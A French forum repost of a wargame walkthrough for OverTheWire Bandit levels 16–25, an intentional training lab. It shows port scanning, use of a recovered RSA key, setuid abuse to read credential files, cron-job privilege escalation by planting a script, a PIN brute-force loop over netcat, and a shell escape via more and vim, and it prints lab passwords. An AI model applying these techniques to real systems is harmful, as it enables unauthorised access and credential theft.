Ldfa Posté(e) le 30 décembre 2019 Partager Posté(e) le 30 décembre 2019 Over The Wire est un site de challenge type “wargame” proposant différentes thématiques, je vous propose dans cet article les solutions de la catégorie la plus simple et accessible : Bandit Nous allons voir dans cet article les solutions des niveaux 16 à 25 du wargame “Bandit” (http://overthewire.org/wargames/bandit/) Voici le lien de l’article détaillant les solutions des niveaux 1 à 15 : https://www.information-security.fr/overthewire-bandit-solution-1-2 N’abandonner pas trop vite ! La solution est souvent plus proche qu’on ne le croit, ne jeter un œil aux solutions qui si vous êtes réellement bloqué et que vous vous cognez la tête sur un niveau depuis plusieurs jours. Bandit – Niveau 16 Pour ce niveau, on retrouve le même principe que précédemment, c’est à dire le fait d’envoyer le mot de passe de l’utilisateur bandit16 sur un port spécifique. Cependant l’énoncé nous indique qu’il s’agit d’un port entre les ports 31000 et 32000, ce qui donne un grand nombre de possibilité. L’idée est donc d’automatiser le parcours des ports. Nous allons pour cela utiliser l’outil nmap (https://linux.die.net/man/1/nmap), qui permet d’effectuer des scans de ports. bandit16@bandit:~$ nmap -sT localhost -p 31000-32000 Nmap scan report for localhost (127.0.0.1) PORT STATE SERVICE 31046/tcp open unknown 31518/tcp open unknown 31691/tcp open unknown 31790/tcp open unknown 31960/tcp open unknown Le retour de la commande nous affiche plusieurs ports ouverts. J’ai ici utilisé l’option -sT pour exécuter un scan de type TCP Connect (https://www.information-security.fr/les-scans-port-via-tcp-syn-connect-fin/) et l’option -p pour indiquer une fourchette de ports à scanner. Maintenant que la liste des ports intéressants a été grandement réduite, nous pouvons effectuer des tests manuels. Le port 31790 semble nous donner une réponse : bandit16@bandit:~$ ncat localhost 31790 cluFn7[...]SxQluehd ERROR 140737354053280:error:1408F10B:SSL routines:SSL3_GET_RECORD:wrong version number:s3_pkt.c:351: Ncat: Connection reset by peer. Au vue des exercices précédents, on peut comprendre qu’il faille ici discuter via un canal de communication chiffré avec ce service (SSL) : bandit16@bandit:~$ ncat --ssl localhost 31790 cluFn7w[...]ffSxQluehd Correct! -----BEGIN RSA PRIVATE KEY----- MIIEogIBAAKCAQEAvmOkuifmMg6HL2YPIOjon6iWfbp7c3jx34YkYWqUH57SUdyJ imZzeyGC0gtZPGujUSxiJSWI/oTqexh+cAMTSMlOJf7+BrJObArnxd9Y7YT2bRPQ [...] L8ktHMPvodBwNsSBULpG0QKBgBAplTfC1HOnWiMGOU3KPwYWt0O6CdTkmJOmL8Ni blh9elyZ9FsGxsgtRBXRsqXuz7wtsQAgLHxbdLq/ZJQ7YfzOKU4ZxEnabvXnvWkU YOdjHdSOoKvDQNWu6ucyLRAWFuISeXw9a/9p7ftpxm0TSgyvmfLF2MIAEwyzRqaM 77pBAoGAMmjmIJdjp+Ez8duyn3ieo36yrttF5NSsJLAbxFpdlc1gvtGCWW+9Cq0b dxviW8+TFVEBl1O4f7HVm6EpTscdDxU+bCXWkfjuRb7Dy9GOtt9JPsX8MBTakzh3 vBgsyi/sN3RqRBcGU40fOoZyfAMT8s1m/uYv52O6IgeuZ/ujbjY= -----END RSA PRIVATE KEY----- On obtient en retour une clé privée, qui pour rappel peut être utilisée à la place d’un mot de passe pour authentifier un utilisateur. Bandit – Niveau 17 Il faut certainement utiliser la clé SSH précédemment trouvée pour se connecter avec l’utilisateur bandit17. Nous allons donc récupérer la clé SSH en question et la stocker dans un fichier. Ce fichier sera ensuite pointé via l’option -i de la commande SSH : /tmp# ssh -i key.txt bandit17@bandit.labs.overthewire.org -p 2220 This is a OverTheWire game server. More information on http://www.overthewire.org/wargames @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ WARNING: UNPROTECTED PRIVATE KEY FILE! @ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ Permissions 0644 for 'key.txt' are too open. It is required that your private key files are NOT accessible by others. This private key will be ignored. Load key "key.txt": bad permissions Votre système va certainement vous afficher cette erreur. Elle indique que les permissions assignées à votre fichier ne sont pas celles attendues par le client SSH. Par mesure de sécurité, l’utilisation de cette clé pour l’authentification est donc refusée. Il suffit de corriger ces permissions pour pouvoir l’utiliser : chmod 600 /tmp/key.txt/tmp# ssh -i key.txt bandit17@bandit.labs.overthewire.org -p 2220 Bien, voyons ce que ce niveau nous réserve : bandit17@bandit:~$ ls -al total 44 drwxr-xr-x 4 bandit17 bandit17 4096 Oct 25 14:12 . drwxr-xr-x 30 root root 4096 Oct 25 14:12 .. -rw-r----- 1 bandit17 bandit17 33 Sep 28 14:04 .bandit16.password -rw-r--r-- 1 bandit17 bandit17 220 Apr 9 2014 .bash_logout -rw-r--r-- 1 bandit17 bandit17 3637 Apr 9 2014 .bashrc drwx------ 2 bandit17 bandit17 4096 Oct 25 14:12 .cache -rw-r--r-- 1 bandit17 bandit17 675 Apr 9 2014 .profile drwxr-xr-x 2 root root 4096 Sep 28 14:04 .ssh -rw-r----- 1 bandit17 bandit17 1704 Sep 28 14:04 .ssl-cert-snakeoil.key -rw-r----- 1 bandit18 bandit17 3300 Sep 28 14:04 passwords.new -rw-r----- 1 bandit18 bandit17 3300 Sep 28 14:04 passwords.old On distingue ici deux fichiers passwords avec la même taille et la même date de dernière modification. L’énoncé nous indique que le mot de passe se trouve dans passwords.news et que c’est la seule donnée qui a été modifiée entre les deux fichiers. Il faut donc que l’on parvienne à faire ressortir les différences dans le contenu des deux fichiers. C’est exactement la rôle de la commande diff (https://www.computerhope.com/unix/udiff.htm) : bandit17@bandit:~$ diff diff: missing operand after 'diff' diff: Try 'diff --help' for more information. bandit17@bandit:~$ diff passwords.new passwords.old 42c42 < kfBf3eYk5B[...]E887SVc5Yd --- > R3GQabj3[...]RJWc5sqSXO Le mot de passe est ici la première valeur affichée (“kfBf…”). Bandit – Niveau 18 Le niveau suivant peut paraitre étrange, la connexion SSH se ferme dés qu’elle est initiée, ce qui ne nous laisse pas le temps de saisir une commande. Il faut donc parvenir à saisir une commande très rapidement et de façon automatique après l’initialisation de la connexion. Cela peut être fait facilement par l’utilisation de la syntaxe suivante : root@PORT-79:/tmp# ssh bandit18@bandit.labs.overthewire.org -p 2220 'ls -al' This is a OverTheWire game server. More information on http://www.overthewire.org/wargames bandit18@bandit.labs.overthewire.org's password: total 24 drwxr-xr-x 2 root root 4096 Dec 28 14:34 . drwxr-xr-x 29 root root 4096 Dec 28 14:34 .. -rw-r--r-- 1 root root 220 Sep 1 2015 .bash_logout -rw-r----- 1 bandit19 bandit18 3794 Dec 28 14:34 .bashrc -rw-r--r-- 1 root root 655 Jun 24 2016 .profile -rw-r----- 1 bandit19 bandit18 33 Dec 28 14:34 readme Ici, la commande ls -al est exécutée directement après l’établissement de la connexion et l’ouverture de la session via SSH. Le mot de passe doit se trouver dans le fichier readme : root@PORT-79:/opt/otw# ssh bandit18@bandit.labs.overthewire.org -p 2220 'cat readme' _ _ _ _ | |__ __ _ _ __ __| (_) |_ | '_ \ / _` | '_ \ / _` | | __| | |_) | (_| | | | | (_| | | |_ |_.__/ \__,_|_| |_|\__,_|_|\__| a http://www.overthewire.org wargame. bandit18@bandit.labs.overthewire.org's password: IueksS7U[...]Owq3M5x Bandit – Niveau 19 Ce niveau vise à nous familiariser avec le principe de bit setuid (https://fr.wikipedia.org/wiki/Setuid). On remarque ici que le bit setuid est présent sur l’exécutable proposé. La commande file nous l’indique clairement : bandit19@bandit:~$ file bandit20-do bandit20-do: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1c05d80e62cd205a3497b870e8294402424a4f7c, not stripped Également, la commande ls, qui permet avec son option -l de lister les permissions assignées, montre la présence du “rws” ou le “s” représente justement le bit setuid. Pour faire cours, le bit setuid permet d’exécuter un binaire avec les droits de son propriétaire, et non avec les droits de celui qui exécute le binaire. Si bandit19 peut exécuter le binaire (c’est ici le cas car le groupe propriétaire du binaire est bandit19) et que la permission assignée au groupe est “r-x”, alors le script s’exécutera avec les droits de l’utilisateur bandit20 car c’est bandit20 le propriétaire du fichier. bandit19@bandit:~$ ./bandit20-do cat /etc/bandit_pass/* cat: /etc/bandit_pass/bandit19: Permission denied cat: /etc/bandit_pass/bandit2: Permission denied GbKks[...]Y5aVje5f0j cat: /etc/bandit_pass/bandit21: Permission denied Si vous n’êtes pas encore familier avec les permissions UNIX, je vous oriente vers cet article : Les droits sous Linux Bandit – Niveau 20 Ce niveau va nous permettre de découvrir la commande permettant de mettre un port en écoute sur notre machine grâce à l’outil netcat. L’énoncé est le suivant : There is a setuid binary in the homedirectory that does the following: it makes a connection to localhost on the port you specify as a commandline argument. It then reads a line of text from the connection and compares it to the password in the previous level (bandit20). If the password is correct, it will transmit the password for the next level (bandit21). Nous devons donc dans un premier temps mettre un port en écoute sur notre système, ici le port 1234 : bandit20@bandit:~$ netcat -lp 1234 ^Z [1]+ Stopped netcat -lp 1234 L’utilisation de la combinaison de touche Ctrl +Z permet de mettre en arrière plan le netcat. Cela signifie que le processus est toujours en cours d’exécution, mais que nous pouvons tout de même saisir de nouvelles commandes. C’est notamment pratique pour les outils interactifs (qui ne rendent pas la main après leur lancement), car cela permet de saisir de nouvelles commandes sans couper leur exécution. On va ensuite lancer le binaire setuid et le passer en arrière plan en suivant le même principe : bandit20@bandit:~$ ./suconnect 1234 ^Z [2]+ Stopped ./suconnect 1234 On va ensuite reprendre la main sur notre netcat en écoute. Cela grâce à la commande fg et avec le paramètre 1 (le [1] est apparu lorsque l’on a mis notre netcat en arrière plan. Enfin, nous allons envoyer sur ce canal de communication (entre netcat et le binaire setuid), le mot de passe de bandit20, comme indiqué dans l’énoncé : bandit20@bandit:~$ fg 1 nc -lp 1234 GbKksEFF4y[...]aVje5f0j ^Z [1]+ Stopped netcat -lp 1234 On revient en arrière et on reprend la main sur le flux d’exécution du binaire setuid via la commande fg à nouveau : bandit20@bandit:~$ fg 2 ./suconnect 1234 Read: GbKks[...]Vje5f0j Password matches, sending next password bandit20@bandit:~$ fg 1 nc -lp 1234 gE269g2h3mw3[...]qen1c9DGr Bandit – Niveau 21 Les niveaux 21 à 23 vont nous permettre de nous pencher sur des cas classiques d’élévation de privilège via les tâches planifiées. Cron est un outil qui permet l’exécution de tâches planifiées sous Linux. L’énoncé nous indique qu’un programme est exécuté régulièrement sur le système via des tâches cron. Jetons un œil à la configuration : bandit21@bandit:~$ ls /etc/cron.d -al total 32 drwxr-xr-x 2 root root 4096 Sep 28 14:04 . drwxr-xr-x 119 root root 4096 Oct 25 14:23 .. -rw-r--r-- 1 root root 102 Feb 9 2013 .placeholder -rw-r--r-- 1 root root 355 May 25 2013 cron-apt -rw-r--r-- 1 root root 120 Sep 28 14:04 cronjob_bandit22 -rw-r--r-- 1 root root 122 Sep 28 14:04 cronjob_bandit23 -rw-r--r-- 1 root root 120 Sep 28 14:04 cronjob_bandit24 -rw-r--r-- 1 root root 510 Aug 4 20:03 php5 Nous pouvons essayer de lister le contenu des fichiers de configuration de cron : bandit21@bandit:~$ cat /etc/cron.d/* 0 4 * * * root test -x /usr/sbin/cron-apt && /usr/sbin/cron-apt @reboot bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null * * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null @reboot bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null * * * * * bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null @reboot bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null * * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null 09,39 * * * * root [ -x /usr/lib/php5/maxlifetime ] && [ -x /usr/lib/php5/sessionclean ] && [ -d /var/lib/php5 ] && /usr/lib/php5/sessionclean /var/lib/php5 $(/usr/lib/php5/maxlifetime) On constate que le script /usr/bin/cronjob_bandit22.sh est exécuté toutes les minutes (voir cet article sur la configuration de tâches planifiées sous Linux) : bandit21@bandit:~$ ls -al /usr/bin/cronjob_bandit22.sh -rwxr-x--- 1 bandit22 bandit21 130 Sep 28 14:04 /usr/bin/cronjob_bandit22.sh On peut donc essayer de regarder les actions effectuées par ce script, puisque nous avons les droits de lecture en tant que l’utilisateur bandit21 : bandit21@bandit:~$ cat /usr/bin/cronjob_bandit22.sh #!/bin/bash chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv On voit qu’il copie le fichier contenant le mot de passe de bandit22 dans un fichier du répertoire /tmp. Maintenant que nous avons cette information, il nous suffit d’afficher le contenu de ce fichier, qui est d’ailleurs lisible par tous : bandit21@bandit:~$ cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv Yk7owGAc[...]EwB7WVOiILLI Bandit – Niveau 22 Nous avons pu voir en listant les tâches planifiées précédemment que le script /usr/bin/cronjob_bandit23.sh était également exécuté toutes les minutes sur le système. Nous pouvons donc lister son contenu afin de voir les actions qu’il exécute : bandit22@bandit:~$ ls -al /usr/bin/cronjob_bandit23.sh -rwxr-x--- 1 bandit23 bandit22 211 Sep 28 14:04 /usr/bin/cronjob_bandit23.sh bandit22@bandit:~$ cat /usr/bin/cronjob_bandit23.sh #!/bin/bash myname=$(whoami) mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1) echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget" cat /etc/bandit_pass/$myname > /tmp/$mytarget Comme on peut le constater, ce script copie le contenu du fichier de mot de passe /etc/bandit_pass/bandit23 dans le fichier /tmp/$mytarget. La variable $mytarget est ici un hash md5 de la phrase “I am user $(whoami)”. En sachant que ce script sera exécuté par l’utilisateur bandit23, la commande whoami, qui permet d’afficher le nom de l’utilisateur courant, aura comme sortie bandit23. Nous pouvons avec ces informations retrouver le nom du fichier contenant le mot de passe et copié dans /tmp/ : bandit22@bandit:~$ echo I am user bandit23 | md5sum | cut -d ' ' -f 1 8ca319486bfbbc3663ea0fbe81326349 bandit22@bandit:~$ cat /tmp/8ca319486bfbbc3663ea0fbe81326349 jc1udXu[...]5XIAI6i0n Bandit – Niveau 23 Dernier cas classique d’élévation de privilège via les tâches planifiées sous Linux. Il s’agit ici dans un premier temps de constater que la tâche planifiée suivante va exécuter tous les fichiers présents dans le dossier /var/spool/$myname, soit /var/spool/bandit64 puisque c’est l’utilisateur bandit24 qui exécute la tâche planifiée : bandit23@bandit:~$ cat /etc/cron.d/cronjob_bandit24 @reboot bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null * * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null bandit23@bandit:~$ cat /usr/bin/cronjob_bandit24.sh #!/bin/bash myname=$(whoami) cd /var/spool/$myname echo "Executing and deleting all scripts in /var/spool/$myname:" for i in * .*; do if [ "$i" != "." -a "$i" != ".." ]; then echo "Handling $i" timeout -s 9 60 ./$i rm -f ./$i fi done On peut également constater, en affichant les permissions assignées à ce dossier, que les membres du groupe bandit23 ont les droits d’écritures (mais pas de lecture) sur ce dossier : bandit23@bandit:~$ ls -al /var/spool/ total 20 drwxr-xr-x 5 root root 4096 Dec 28 14:34 . drwxr-xr-x 12 root root 4096 Dec 28 14:34 .. drwx-wx--- 17 bandit24 bandit23 4096 Mar 13 23:19 bandit24 Cela signifie que si bandit23 crée un script dans ce dossier, il sera exécuté par bandit24. On peut donc faire exécuter des commandes à un autre utilisateur (on parle d’élévation de privilège, d’escalation privilege ou de mouvement vertical si l’autre utilisateur possède des droits plus élevés que ceux de l’attaquant). Je commence par créer un script dans un dossier temporaire, ce script demande l’écriture de la date et heure actuelle dans le fichier /tmp/12345/out.txt, ainsi que la copie du contenu du fichier /etc/bandit_pass/bandit24 dans le fichier out.txt. L’idée est de faire exécuter ce script à bandit24, qui lui possède les droits de lecture sur le fichier /etc/bandit_pass/bandit24 : bandit23@bandit:/tmp/12345$ cat script.sh #!/bin/bash echo `date` > /tmp/12345/out.txt cat /etc/bandit_pass/bandit24 >> /tmp/12345/out.txt On va ensuite créer un script dans le dossier /var/spool/bandit24 qui va exécuter ce script /tmp/12345/script.sh, sans oublier de donner les droits d’exécution et d’écriture adéquats. Cette première commande est une astuce pour écrire “#!/bin/bash” dans le script. L’utilisation de la commande head -n 1 permet de n’afficher que la première ligne du fichier /usr/bin/cronjob_bandit24.sh et de la copier dans /var/spool/bandit24/aaaaaa.sh : bandit23@bandit:/tmp/12345$ cat /usr/bin/cronjob_bandit24.sh|head -n 1 > /var/spool/bandit24/aaaaaa.sh On ajoute ensuite dans ce script une commande qui va exécuter notre “malveillant” /tmp/12345/script.sh et on donne les droits d’exécution , de lecture et d’écriture à tous (pour faire simple) : bandit23@bandit:/tmp/12345$ echo "/tmp/12345/script.sh" >> /var/spool/bandit24/aaaaaa.sh; bandit23@bandit:/tmp/12345$ chmod 777 /var/spool/bandit24/aaaaaa.sh On attend ensuite une minute, et on retrouve dans notre fichier out.txt le mot de passe de l’utilisateur bandit24. bandit23@bandit:/tmp/12345$ date Thu Oct 26 11:38:31 UTC 2017 bandit23@bandit:/tmp/12345$ cat out.txt Thu Oct 26 11:39:01 UTC 2017 UoMYTrf[...]AwOmw1IohZ Bandit – Niveau 24 Le challenge suivant demande de la patience, il s’agit en effet de trouver un code PIN de quatre caractères qui doit être soumis à un service qui écoute sur le port 3002. Le service attend le mot de passe de bandit24 ainsi qu’un code PIN, si le code PIN soumis est valide, ainsi que le mot de passe, celui-ci retournera le mot de passe de l’utilisateur bandit25. Je commence donc par générer un fichier contenant les nombres de 0000 à 9999 avec un nombre par ligne. Ces nombres représentent donc toutes les possibilités de code PIN à 4 chiffres : bandit24@bandit:~$ for i in $(echo {0000..9999});do echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" >> /tmp/out12.txt;done bandit24@bandit:~$ head -n 12 /tmp/out12.txt UoMYTrf[...]AwOmw1IohZ 0000 UoMYTrf[...]AwOmw1IohZ 0001 UoMYTrf[...]AwOmw1IohZ 0002 UoMYTrf[...]AwOmw1IohZ 0003 UoMYTrf[...]AwOmw1IohZ 0004 UoMYTrf[...]AwOmw1IohZ 0005 UoMYTrf[...]AwOmw1IohZ 0006 UoMYTrf[...]AwOmw1IohZ 0007 UoMYTrf[...]AwOmw1IohZ 0008 UoMYTrf[...]AwOmw1IohZ 0009 UoMYTrf[...]AwOmw1IohZ 0010 UoMYTrf[...]AwOmw1IohZ 0011 Nous allons utiliser ce fichier pour effectuer une boucle qui, pour chaque ligne du fichier, va aller soumettre le mot de passe de l’utilisateur bandit24 ainsi que le code PIN (ligne courante lue au travers la boucle), ce qui constitue donc une attaque par brute force. Je stocke le résultat dans le fichier/tmp/out.txt : bandit24@bandit:~$ while read -r line; do echo "$line"|nc localhost 30002 >/tmp/out13.txt ; done < /tmp/out12.txt Le parcours de tous toutes les possibilités peut être assez long , mais on fini par trouver le message suivant dans le fichier /tmp/out13.txt : UoMYTrfrBF[...]IohZ 5588 I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space. Correct! The password of user bandit25 is uNG9O58[...]tnjzSGzG A noter que le code PIN peut changer à travers le temps, entre ma première résolution de ce challenge et l’écriture de cet article, le code PIN en question n’était plus le même. Bandit – Niveau 25 Bon ce niveau là tiens plus de la petite astuce que de l’apprentissage du shell Linux et j’admets avoir été lire quelques tips sur Internet pour le résoudre. Dans un premier temps, on remarque que nous disposons d’une clé SSH publique dans notre répertoire. Déjà croisé auparavant, nous savons qu’elle peut être utilisée pour se connecter en SSH en tant que bandit16. Celle-ci n’étant pas protégée par une passe-phrase, on obtient un accès en tant que bandit26 sans trop de difficulté. Cependant, nous sommes déconnecté immédiatement. L’énoncé nous indique que bandit26 n’as pas un shell comme les autres, ce que l’on peut constater dans le fichier /etc/passwd. bandit26:x:11026:11026:bandit level 26:/home/bandit26:/usr/bin/showtext Effectivement, dés l’ouverture d’une session, l’utilisateur bandit26 va exécuter le script /usr/bin/showtext, voici son contenu : bandit25@bandit:~$ cat /usr/bin/showtext #!/bin/sh export TERM=linux more ~/text.txt exit 0 Également, on remarque que celui-ci n’est pas modifiable par l’utilisateur bandit25, ni le fichier affiché par ce script grâce à la commande more (https://linux.die.net/man/1/more) : bandit25@bandit:~$ ls -al /usr/bin/showtext -rwxr-xr-x 1 root root 53 Dec 28 14:34 /usr/bin/showtext bandit25@bandit:~$ ls -al /home/bandit26/text.txt -rw-r----- 1 bandit26 bandit26 258 Dec 28 14:34 /home/bandit26/text.txt Si l’on se renseigne sur le rôle de la commande more, on apprend qu’elle permet d’afficher un texte par “page”, ce qui pemet, lorsque l’on dispose d’un terminal plus petit que le texte à afficher, d’avoir à saisir une touche pour passer à la suite. Le texte a afficher étant relativement petit, on ne remarque pas son utilisation Cependant si l’on rétrécit la taille de notre fenêtre, on verra l’action de la commande more qui marque donc un temps d’arrêt avant de déconnecter la session SSH : A partir de là, il faut savoir qu’il existe une petit astuce dans la commande more qui permet de démarrer vim, et un e autre astuce dans la commande vim qui permet d’exécuter des commandes. Et ces deux “astuces” permettent d’exécuter des commandes en tant que bandit26 sur le système. Pour ouvrir vim à partir de la commande more, il faut saisir “v”. On se retrouve maintenant avec l’éditeur vim, qui permet d’exécuter quelques commandes intéressantes, notamment grâce à l’instruction “e” qui permet d’éditer le contenu d’un autre fichier : On ouvre donc le fichier /etc/bandit_pass/bandit26 en tant que bandit26, ce qui nous donne la possibilité de lire le mot de passe du dernier challenge : 5czgV9L3Xx8JPOyRbXh6lQbmIOWvPT6Z Afficher l’article complet Lien vers le commentaire Partager sur d’autres sites More sharing options...
Messages recommandés
Archivé
Ce sujet est désormais archivé et ne peut plus recevoir de nouvelles réponses.